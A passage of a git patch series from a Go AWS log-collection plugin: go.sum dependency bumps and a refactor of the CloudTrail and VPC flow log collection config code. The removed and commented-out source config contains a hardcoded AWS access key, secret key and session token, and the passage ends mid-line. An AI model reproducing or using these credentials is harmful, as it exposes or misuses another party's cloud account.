h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -168,32 +269,72 @@ golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o= -golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI= +golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= -golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= +golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk= golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= +golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240401170217-c3f982113cda h1:LI5DOvAxUPMv/50agcLLoo+AdWc1irS9Rzz4vPuD1V4= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240401170217-c3f982113cda/go.mod h1:WtryC6hu0hhx87FDGxWCDptyssuo68sk10vYjF+T9fY= -google.golang.org/grpc v1.64.0 h1:KH3VH9y/MgNQg1dE7b3XfVK0GsPSIzJwdF617gUSbvY= -google.golang.org/grpc v1.64.0/go.mod h1:oxjF8E3FBnjp+/gVFYdWacaLDx9na1aqy9oovLpxQYg= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028 h1:+cNy6SZtPcJQH3LJVLOSmiC7MMxXNOb3PU/VUEz+EhU= +golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028/go.mod h1:NDW/Ps6MPRej6fsCIbMTohpP40sJ/P/vI1MoTEGwX90= +google.golang.org/api v0.169.0 h1:QwWPy71FgMWqJN/l6jVlFHUa29a7dcUy02I8o799nPY= +google.golang.org/api v0.169.0/go.mod h1:gpNOiMA2tZ4mf5R9Iwf4rK/Dcz0fbdIgWYWVoxmsyLg= +google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= +google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/appengine v1.6.8 h1:IhEN5q69dyKagZPYMSdIjS2HqprW324FRQZJcGqPAsM= +google.golang.org/appengine v1.6.8/go.mod h1:1jJ3jBArFh5pcgW8gCtRJnepW8FzD1V44FJffLiz/Ds= +google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= +google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= +google.golang.org/genproto v0.0.0-20240213162025-012b6fc9bca9 h1:9+tzLLstTlPTRyJTh+ah5wIMsBW5c4tQwGTN3thOW9Y= +google.golang.org/genproto v0.0.0-20240213162025-012b6fc9bca9/go.mod h1:mqHbVIp48Muh7Ywss/AD6I5kNVKZMmAa/QEW58Gxp2s= +google.golang.org/genproto/googleapis/api v0.0.0-20240318140521-94a12d6c2237 h1:RFiFrvy37/mpSpdySBDrUdipW/dHwsRwh3J3+A9VgT4= +google.golang.org/genproto/googleapis/api v0.0.0-20240318140521-94a12d6c2237/go.mod h1:Z5Iiy3jtmioajWHDGFk7CeugTyHtPvMHA4UTmUkyalE= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240722135656-d784300faade h1:oCRSWfwGXQsqlVdErcyTt4A93Y8fo0/9D4b1gnI++qo= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240722135656-d784300faade/go.mod h1:Ue6ibwXGpU+dqIcODieyLOcgj7z8+IcskoNIgZxtrFY= +google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= +google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= +google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= +google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= +google.golang.org/grpc v1.64.1 h1:LKtvyfbX3UGVPFcGqJ9ItpVWW6oN/2XqTxfAnwRRXiA= +google.golang.org/grpc v1.64.1/go.mod h1:hiQF4LFZelK2WKaP6W0L92zGHtiQdZxk8CrSdvyjeP0= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= From 156da4af147c6373ab466c8b1bdff0b25fa0cb7b Mon Sep 17 00:00:00 2001 From: kai Date: Tue, 30 Jul 2024 13:26:24 +0100 Subject: [PATCH 029/180] remove parquet 'ignore' tag from common fields in row structs --- aws_types/aws_cloudtrail.go | 2 +- aws_types/aws_vpc_flow_log.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/aws_types/aws_cloudtrail.go b/aws_types/aws_cloudtrail.go index 14fa463b..c64b3c9a 100644 --- a/aws_types/aws_cloudtrail.go +++ b/aws_types/aws_cloudtrail.go @@ -11,7 +11,7 @@ type AWSCloudTrailBatch struct { type AWSCloudTrail struct { // embed required enrichment fields (be sure to skip in parquet) - enrichment.CommonFields `parquet:"-"` + enrichment.CommonFields AdditionalEventData *helpers.JSONString `json:"additionalEventData,omitempty"` APIVersion *string `json:"apiVersion,omitempty"` diff --git a/aws_types/aws_vpc_flow_log.go b/aws_types/aws_vpc_flow_log.go index f4c7c25f..9a837d77 100644 --- a/aws_types/aws_vpc_flow_log.go +++ b/aws_types/aws_vpc_flow_log.go @@ -12,7 +12,7 @@ import ( // TODO is trhere an existing amazon sdk type we can use type AwsVpcFlowLog struct { // embed required enrichment fields (be sure to skip in parquet) - enrichment.CommonFields `parquet:"-"` + enrichment.CommonFields Timestamp *time.Time `json:"timestamp,omitempty"` Version *int32 `json:"version,omitempty"` From e30c3e8cfb98e06bbcabf1bc6d3cdc531eeeedc3 Mon Sep 17 00:00:00 2001 From: kai Date: Mon, 29 Jul 2024 16:28:19 +0100 Subject: [PATCH 030/180] working on config parsing --- aws/plugin.go | 10 +- aws_collection/cloudtrail_log_collection.go | 99 ++++---- .../cloudtrail_log_collection_config.go | 6 +- aws_collection/vpc_flow_log_collection.go | 223 ++++++++---------- .../vpc_flow_log_collection_config.go | 7 +- aws_source/cloudtrail_mapper.go | 2 +- data/paging/paging.db | Bin 0 -> 274432 bytes 7 files changed, 167 insertions(+), 180 deletions(-) create mode 100644 data/paging/paging.db diff --git a/aws/plugin.go b/aws/plugin.go index ce3efa82..6a8a59ae 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -2,8 +2,10 @@ package aws import ( "github.com/turbot/tailpipe-plugin-aws/aws_collection" + "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-sdk/plugin" "log/slog" + "time" ) type Plugin struct { @@ -14,14 +16,18 @@ func NewPlugin() (plugin.TailpipePlugin, error) { p := &Plugin{} slog.Info("AWS Plugin starting") - //time.Sleep(10 * time.Second) - //slog.Info("YAWN") + time.Sleep(10 * time.Second) + slog.Info("YAWN") + // register collections which we support err := p.RegisterCollections(aws_collection.NewCloudTrailLogCollection, aws_collection.NewVPCFlowLogLogCollection) if err != nil { return nil, err } + // register artifact mappers + err = p.RegisterArtifactMappers(aws_source.NewCloudtrailMapper) + return p, nil } diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 6638501a..384cac76 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -1,9 +1,7 @@ package aws_collection import ( - "context" "fmt" - "github.com/turbot/tailpipe-plugin-sdk/artifact" "github.com/turbot/tailpipe-plugin-sdk/paging" "github.com/turbot/tailpipe-plugin-sdk/row_source" "strings" @@ -22,7 +20,7 @@ import ( // CloudTrailLogCollection - collection for CloudTrail logs type CloudTrailLogCollection struct { // all collections must embed collection.Base - collection.Base + collection.Base[CloudTrailLogCollectionConfig] // the collection config Config *CloudTrailLogCollectionConfig @@ -32,33 +30,26 @@ func NewCloudTrailLogCollection() plugin.Collection { return &CloudTrailLogCollection{} } +func (c *CloudTrailLogCollection) SupportedSources() []string { + // TODO #source do we need to to specify the type or artifact source supported? + return []string{ + row_source.ArtifactRowSourceIdentifier, + } +} + // Identifier implements plugin.Collection func (c *CloudTrailLogCollection) Identifier() string { return "aws_cloudtrail_log" } -// Init implements plugin.Collection -func (c *CloudTrailLogCollection) Init(ctx context.Context, configData []byte) error { - // TODO #config TEMP - this will actually parse (or the base will) - // unmarshal the config - config := &CloudTrailLogCollectionConfig{ - Paths: []string{"/Users/kai/tailpipe_data/flaws_cloudtrail_logs"}, - } - - //err := json.Unmarshal(configData, config) - //if err != nil { - // return fmt.Errorf("error unmarshalling config: %w", err) - //} - // todo - parse config as hcl - c.Config = config - // todo validate config - - // todo #config create source from config - source, err := c.getSource(c.Config) - if err != nil { - return err +// GetSourceOptions returns any options which should be passed to the given source type +func (c *CloudTrailLogCollection) GetSourceOptions(sourceType string) []row_source.RowSourceOption { + switch sourceType { + // if source is an artifact source, use the cloudtrail mapper + case row_source.ArtifactRowSourceIdentifier: + return []row_source.RowSourceOption{row_source.WithMapper(aws_source.NewCloudtrailMapper())} } - return c.AddSource(source) + return nil } // GetRowSchema implements plugin.Collection @@ -66,11 +57,6 @@ func (c *CloudTrailLogCollection) GetRowSchema() any { return aws_types.AWSCloudTrail{} } -// GetConfigSchema implements plugin.Collection -func (c *CloudTrailLogCollection) GetConfigSchema() any { - return CloudTrailLogCollectionConfig{} -} - // GetPagingDataSchema implements plugin.Collection // TODO #paging data HARD CODED for now func (c *CloudTrailLogCollection) GetPagingDataSchema() (paging.Data, error) { @@ -130,25 +116,36 @@ func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields *enr return record, nil } -// use the config to configure the Source -func (c *CloudTrailLogCollection) getSource(config *CloudTrailLogCollectionConfig) (plugin.RowSource, error) { - sourceConfig := &artifact.FileSystemSourceConfig{Paths: config.Paths, Extensions: []string{".gz"}} - - artifactSource := artifact.NewFileSystemSource(sourceConfig) - artifactMapper := aws_source.NewCloudtrailMapper() - - // create empty paging data to pass to source - // TODO maybe source creates for itself?? - pagingData, err := c.GetPagingDataSchema() - if err != nil { - return nil, fmt.Errorf("error creating paging data: %w", err) - } - - source, err := row_source.NewArtifactRowSource(artifactSource, pagingData, row_source.WithMapper(artifactMapper)) - - if err != nil { - return nil, fmt.Errorf("error creating artifact row source: %w", err) - } - - return source, nil -} +// +//// use the config to configure the Source +//func (c *CloudTrailLogCollection) getSource(configData *hcl.Data) (plugin.RowSource, error) { +//switch configData.Type { +// +//} +// var cfg CloudTrailLogCollectionConfig +// err := hcl.ParseConfig(configData, &cfg) +// if err != nil { +// return nil, fmt.Errorf("error parsing config: %w", err) +// } +// +// +// sourceConfig := &artifact.FileSystemSourceConfig{Paths: hcl.Paths, Extensions: []string{".gz"}} +// +// artifactSource := artifact.NewFileSystemSource(sourceConfig) +// artifactMapper := aws_source.NewCloudtrailMapper() +// +// // create empty paging data to pass to source +// // TODO maybe source creates for itself?? +// pagingData, err := c.GetPagingDataSchema() +// if err != nil { +// return nil, fmt.Errorf("error creating paging data: %w", err) +// } +// +// source, err := row_source.NewArtifactRowSource(artifactSource, pagingData, ) +// +// if err != nil { +// return nil, fmt.Errorf("error creating artifact row source: %w", err) +// } +// +// return source, nil +//} diff --git a/aws_collection/cloudtrail_log_collection_config.go b/aws_collection/cloudtrail_log_collection_config.go index 201d5421..5b7de5c1 100644 --- a/aws_collection/cloudtrail_log_collection_config.go +++ b/aws_collection/cloudtrail_log_collection_config.go @@ -1,5 +1,7 @@ package aws_collection -type CloudTrailLogCollectionConfig struct { - Paths []string +type CloudTrailLogCollectionConfig struct{} + +func (c CloudTrailLogCollectionConfig) Validate() error { + return nil } diff --git a/aws_collection/vpc_flow_log_collection.go b/aws_collection/vpc_flow_log_collection.go index 27eb1a5a..5c6486e4 100644 --- a/aws_collection/vpc_flow_log_collection.go +++ b/aws_collection/vpc_flow_log_collection.go @@ -1,15 +1,11 @@ package aws_collection import ( - "context" "fmt" - "os" "time" "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/aws_types" - "github.com/turbot/tailpipe-plugin-sdk/artifact" "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" @@ -21,15 +17,11 @@ import ( // VPCFlowLogLogCollection - collection for VPC Flow Logs type VPCFlowLogLogCollection struct { // all collections must embed collection.Base - collection.Base - - // the collection config - Config *VpcFlowLogCollectionConfig + collection.Base[VpcFlowLogCollectionConfig] } func NewVPCFlowLogLogCollection() plugin.Collection { - l := &VPCFlowLogLogCollection{} - return l + return &VPCFlowLogLogCollection{} } // Identifier implements plugin.Collection @@ -37,54 +29,49 @@ func (c *VPCFlowLogLogCollection) Identifier() string { return "aws_vpc_flow_log" } -// Init implements plugin.Collection -func (c *VPCFlowLogLogCollection) Init(ctx context.Context, configData []byte) error { - // TEMP - this will actually parse (or the base will) - // unmarshal the config - config := &VpcFlowLogCollectionConfig{ - Paths: []string{"/Users/kai/tailpipe_data/flowlog"}, - // use defaults when using cloudwatch - // //Fields: []string{"timestamp", - // // "version", - // // "account-id", - // // "interface-id", - // // "srcaddr", - // // "dstaddr", - // // "srcport", - // // "dstport", - // // "protocol", - // // "packets", - // // "bytes", - // // "start", - // // "end", - // // "action", - // // "log-status", - // //}, - } - - //err := json.Unmarshal(configData, config) - //if err != nil { - // return fmt.Errorf("error unmarshalling config: %w", err) - //} - - // todo - parse config as hcl - c.Config = config - // todo validate config - - // init the config = this will set default fields if needed - if err := c.Config.Init(); err != nil { - return fmt.Errorf("error initializing config: %w", err) +func (c *VPCFlowLogLogCollection) SupportedSources() []string { + // TODO #source do we need to to specify the type or artifact source supported? + return []string{ + row_source.ArtifactRowSourceIdentifier, } - // todo validate config - - // todo create source from config - source, err := c.getSource(ctx, c.Config) - if err != nil { - return err - } - return c.AddSource(source) } +// +//// Init implements plugin.Collection +//func (c *VPCFlowLogLogCollection) Init(ctx context.Context, collectionConfig, sourceConfig *hcl.Data) error { +// } +// //// TEMP - this will actually parse (or the base will) +// //// unmarshal the config +// //config := &VpcFlowLogCollectionConfig{ +// // Paths: []string{"/Users/kai/tailpipe_data/flowlog"}, +// // // use defaults when using cloudwatch +// // // //Fields: []string{"timestamp", +// // // // "version", +// // // // "account-id", +// // // // "interface-id", +// // // // "srcaddr", +// // // // "dstaddr", +// // // // "srcport", +// // // // "dstport", +// // // // "protocol", +// // // // "packets", +// // // // "bytes", +// // // // "start", +// // // // "end", +// // // // "action", +// // // // "log-status", +// // // //}, +// //} +// // +// +// // init the config = this will set default fields if needed +// if err := c.Config.Init(); err != nil { +// return fmt.Errorf("error initializing config: %w", err) +// } +// // todo validate config +// +//} + // GetRowSchema implements plugin.Collection // return an instance of the row struct func (c *VPCFlowLogLogCollection) GetRowSchema() any { @@ -98,11 +85,6 @@ func (c *VPCFlowLogLogCollection) GetPagingDataSchema() (paging.Data, error) { return paging.NewCloudwatch(), nil } -// GetConfigSchema implements plugin.Collection -func (c *VPCFlowLogLogCollection) GetConfigSchema() any { - return VpcFlowLogCollectionConfig{} -} - // EnrichRow implements plugin.Collection func (c *VPCFlowLogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // row must be a string @@ -176,63 +158,64 @@ func (c *VPCFlowLogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enr } -// use the config to configure the Source -func (c *VPCFlowLogLogCollection) getSource(ctx context.Context, config *VpcFlowLogCollectionConfig) (plugin.RowSource, error) { - // TODO populate from config - //srcConfig := &artifact.AwsS3BucketSourceConfig{ - // SourceConfigBase: artifact.SourceConfigBase{ - // // TODO #config where do we configure this - // TmpDir: os.TempDir(), - // }, - // Bucket: "silverwater-flowlog-s3-bucket", - // Extensions: []string{".gz"}, - // AccessKey: "", - // SecretKey: "", - // SessionToken: "", - //} - // - //artifactSource, err := artifact.NewAwsS3BucketSource(sourceConfig) - //if err != nil { - // return nil, fmt.Errorf("error creating s3 bucket source: %w", err) - //} - - //artifactSource := artifact.NewFileSystemSource(&artifact.FileSystemSourceConfig{ - - // Paths: config.Paths, - // Extensions: []string{".gz"}, - //}) - srcConfig := &artifact.AwsCloudWatchSourceConfig{ - SourceConfigBase: artifact.SourceConfigBase{ - // TODO #config where do we configure this - TmpDir: os.TempDir(), - }, - AccessKey: "ASIARNKUQPUT2DKH2CJH", - SecretKey: "o3W4OjtkAs418H4h/rJGcorIHQVWw8qVGCFXTW0Y", - SessionToken: "IQoJb3JpZ2luX2VjEOf//////////wEaCXVzLWVhc3QtMiJIMEYCIQCMQtQOXk2UvNDtrKpGVv/KpXph86EJ8LVnGK+RZM5epQIhAO3oruAIomKUK8ljVNcQrBL7CtkkHJsSboBX9FrF/pwUKo8DCMD//////////wEQAxoMMDk3MzUwODc2NDU1Igxp82/qL0ja9Ki1M90q4wLDWC+4stlMrQYQV2hGIZXekIRClllYiwyzModW5cx1lVDnp1s1Twnm2eDcA707NzMX5v5k6p+A2svLx6JUg2ymGOBHB067IyanCXNCzGK/+FG+Ec2L419r2Jt+sxspvNthcQhkVFAPIkdFBCr0cdcIc60IrVF5TCHhsf94bQHRE/NXGwwZeeUZiXCaz6QQDsr56+p/bGHR1QTxLfwZWSNs/tI1IuTRaiBk0LOfACgWAYWq5VWwDQbqoYCIBOU+rpH/YNNmsUgQQbIS9VKbu2vuAoUeXuOiST2J5YRriX+potowmnICtkEFuIAfpuYz6uA4xwT3fOtQNjs3dEfKjus7ZrFv0oO3PtUHWGC3Nsn0y2/jkwYlasTekfKNd0Wz/cnKwEjtNWWFw1+MXNbocGc9lBulmN4StMOTUI/jQdlm3tXJ861CD+4Qm23aulw9IFZODdL7dHcHx1gIPAsNt1qeXEgOMIvLibUGOqUBBoIM4Qt+VO0jO/1Li4WEfPB/Pd3+D12VaPwC7503YtNEaZOg9SmWeXht/G9Fq6B+bUsNrA0ADAFLotr4QZZsUST2BJU5lf3vAIbi9tH4WUMzY4kK7huqax3TICN7kuRO/kxbWvXyeqTPOayi47xgEOc5YiRhyuyjZfwxpZdJVxvOG+AOoqbhphRe9DvbVhUylrKDj0FpH93zuDOYUl0a7PCBM1ns", - LogGroupName: "/victor/vpc/flowlog", - LogStreamPrefix: utils.ToStringPointer("eni"), - StartTime: time.Now().Add(-time.Hour * 24), - EndTime: time.Now(), - } - - artifactSource, err := artifact.NewAwsCloudWatchSource(ctx, srcConfig) - - // create empty paging data to pass to source - // TODO maybe source creates for itself?? - pagingData, err := c.GetPagingDataSchema() - if err != nil { - return nil, fmt.Errorf("error creating paging data: %w", err) - } - - source, err := row_source.NewArtifactRowSource( - artifactSource, - pagingData, - // we expect a log row per line of log data - row_source.WithRowPerLine(), - ) - if err != nil { - return nil, fmt.Errorf("error creating artifact row source: %w", err) - } - - return source, nil -} +// +//// use the config to configure the Source +//func (c *VPCFlowLogLogCollection) getSource(ctx context.Context, config *VpcFlowLogCollectionConfig) (plugin.RowSource, error) { +// // TODO populate from config +// //srcConfig := &artifact.AwsS3BucketSourceConfig{ +// // SourceConfigBase: artifact.SourceConfigBase{ +// // // TODO #config where do we configure this +// // TmpDir: os.TempDir(), +// // }, +// // Bucket: "silverwater-flowlog-s3-bucket", +// // Extensions: []string{".gz"}, +// // AccessKey: "", +// // SecretKey: "", +// // SessionToken: "", +// //} +// // +// //artifactSource, err := artifact.NewAwsS3BucketSource(sourceConfig) +// //if err != nil { +// // return nil, fmt.Errorf("error creating s3 bucket source: %w", err) +// //} +// +// //artifactSource := artifact.NewFileSystemSource(&artifact.FileSystemSourceConfig{ +// +// // Paths: config.Paths, +// // Extensions: []string{".gz"}, +// //}) +// srcConfig := &artifact.AwsCloudWatchSourceConfig{ +// SourceConfigBase: artifact.SourceConfigBase{ +// // TODO #config where do we configure this +// TmpDir: os.TempDir(), +// }, +// AccessKey: "ASIARNKUQPUT2DKH2CJH", +// SecretKey: "o3W4OjtkAs418H4h/rJGcorIHQVWw8qVGCFXTW0Y", +// SessionToken: 